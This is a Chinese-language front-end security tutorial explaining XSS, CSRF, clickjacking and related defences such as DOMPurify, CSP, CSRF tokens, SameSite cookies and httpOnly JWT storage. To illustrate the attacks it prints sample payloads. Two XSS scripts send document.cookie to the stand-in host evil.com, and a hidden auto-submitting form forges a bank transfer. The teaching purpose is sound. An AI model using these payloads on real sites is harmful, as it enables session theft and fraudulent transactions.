前端安全:XSS、CSRF 和其他你必须知道的事
前端安全经常被忽视,直到出了安全事故才开始重视。这篇文章覆盖最常见的前端安全问题和防护方案。
XSS(跨站脚本攻击)
XSS 是最常见的前端安全问题。攻击者通过注入恶意脚本到页面中,在用户浏览时执行。
三种 XSS 类型
存储型 XSS(最危险):
// 用户在评论里输入恶意内容
"<script>document.location='http://evil.com?cookie='+document.cookie</script>"
// 如果后端没做过滤,直接存入数据库
// 其他用户浏览时,脚本就会执行
反射型 XSS:
// 攻击者构造 URL
https://example.com/search?q=<script>document.location='http://evil.com?cookie='+document.cookie</script>
// 如果页面直接把查询参数渲染到页面上,脚本会执行
DOM 型 XSS:
// 不安全的 DOM 操作
element.innerHTML = userInput; // 如果 userInput 包含 <script>,会执行
element.outerHTML = userInput; // 同上
防护方案
// 1. 不用 innerHTML,用 textContent
element.textContent = userInput; // 安全,HTML 会被转义
// 2. 需要渲染 HTML 时,用 DOMPurify 清理
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// 3. React/Vue 默认防 XSS(JSX 中的 <script> 标签不会执行)
// 但 dangerouslySetInnerHTML 仍然有风险
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
Content Security Policy
CSP 通过 HTTP 头限制页面能加载的资源:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;
default-src 'self':默认只允许加载同源资源script-src 'self' 'nonce-xxx':只允许同源脚本和带 nonce 的内联脚本style-src 'self' 'unsafe-inline':允许内联样式(Tailwind 需要)
<!-- 带 nonce 的脚本 -->
<script nonce="abc123">
// 这个脚本允许执行
</script>
CSRF(跨站请求伪造)
CSRF 攻击利用用户已登录的身份,在恶意网站上发起对目标网站的请求。
<!-- 恶意网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" style="display:none">
<input name="to" value="attacker" />
<input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>
用户如果已登录银行网站,打开恶意网站后表单会自动提交。
防护方案
CSRF Token:
// 服务端生成随机 token,存到 cookie 和表单/请求头中
// 每次请求时验证两者是否匹配
app.post('/api/transfer', (req, res) => {
const cookieToken = req.cookies.csrf;
const headerToken = req.headers['x-csrf-token'];
if (cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF token mismatch' });
}
// 处理请求
});
SameSite Cookie:
// 设置 cookie 时加上 SameSite 属性
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict', // 或 'lax'
});
strict:完全禁止跨站发送 cookie(最安全)lax:允许导航类请求(如点击链接)携带 cookienone:允许跨站发送(不安全,不推荐)
其他常见安全问题
点击劫持
攻击者用透明 iframe 嵌入你的网站,叠加恶意按钮:
<iframe src="https://bank.com" style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%"></iframe>
<button style="position:absolute; top:100px; left:200px">领取红包</button>
用户以为点的是"领取红包",实际上点的是银行网站的"转账"按钮。
防护:
X-Frame-Options: DENY
// 或
Content-Security-Policy: frame-ancestors 'self'
敏感信息泄露
// 差:把敏感信息暴露在前端
const API_KEY = 'sk-xxxxxxxxxxxx';
// 好:敏感信息放在服务端
// 前端通过 API 调用后端,后端处理敏感操作
前端代码是公开的,任何 API Key、密钥、内部 URL 都不应该出现在前端代码里。
依赖安全
# 定期检查依赖的安全漏洞
npm audit
pnpm audit
# 自动修复
npm audit fix
pnpm audit --fix
GitHub Dependabot 可以自动检测和更新有漏洞的依赖。
认证和授权
密码存储
// 绝对不要明文存储密码
// 使用 bcrypt 哈希
import bcrypt from 'bcryptjs';
const salt = await bcrypt.genSalt(10);
const hashedPassword = await bcrypt.hash(password, salt);
// 验证
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);
JWT 注意事项
// JWT 不要存敏感信息(payload 是 Base64 编码,不是加密的)
const token = jwt.sign(
{ userId: user._id }, // 只存必要的、非敏感的 ID
secret,
{ expiresIn: '7d' }
);
// 存在 httpOnly cookie 里,不要存在 localStorage
res.cookie('token', token, {
httpOnly: true, // JS 不能读取
secure: true, // 只在 HTTPS 下发送
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
前端安全检查清单
- 所有用户输入都做了转义或清理
- 没有使用
innerHTML(或用了 DOMPurify) - 设置了 CSP 头
- 设置了
X-Frame-Options - Cookie 设置了
httpOnly、secure、sameSite - 没有 API Key 或密钥暴露在前端代码里
- 依赖没有已知的安全漏洞(
npm audit) - 认证 token 存在 httpOnly cookie 里
- API 有认证和权限校验
前端安全不是一次性的事,需要在开发过程中持续关注。很多安全漏洞不是技术问题,而是开发习惯问题——养成安全的编码习惯比事后修补更重要。
ReactTypeScript
返回首页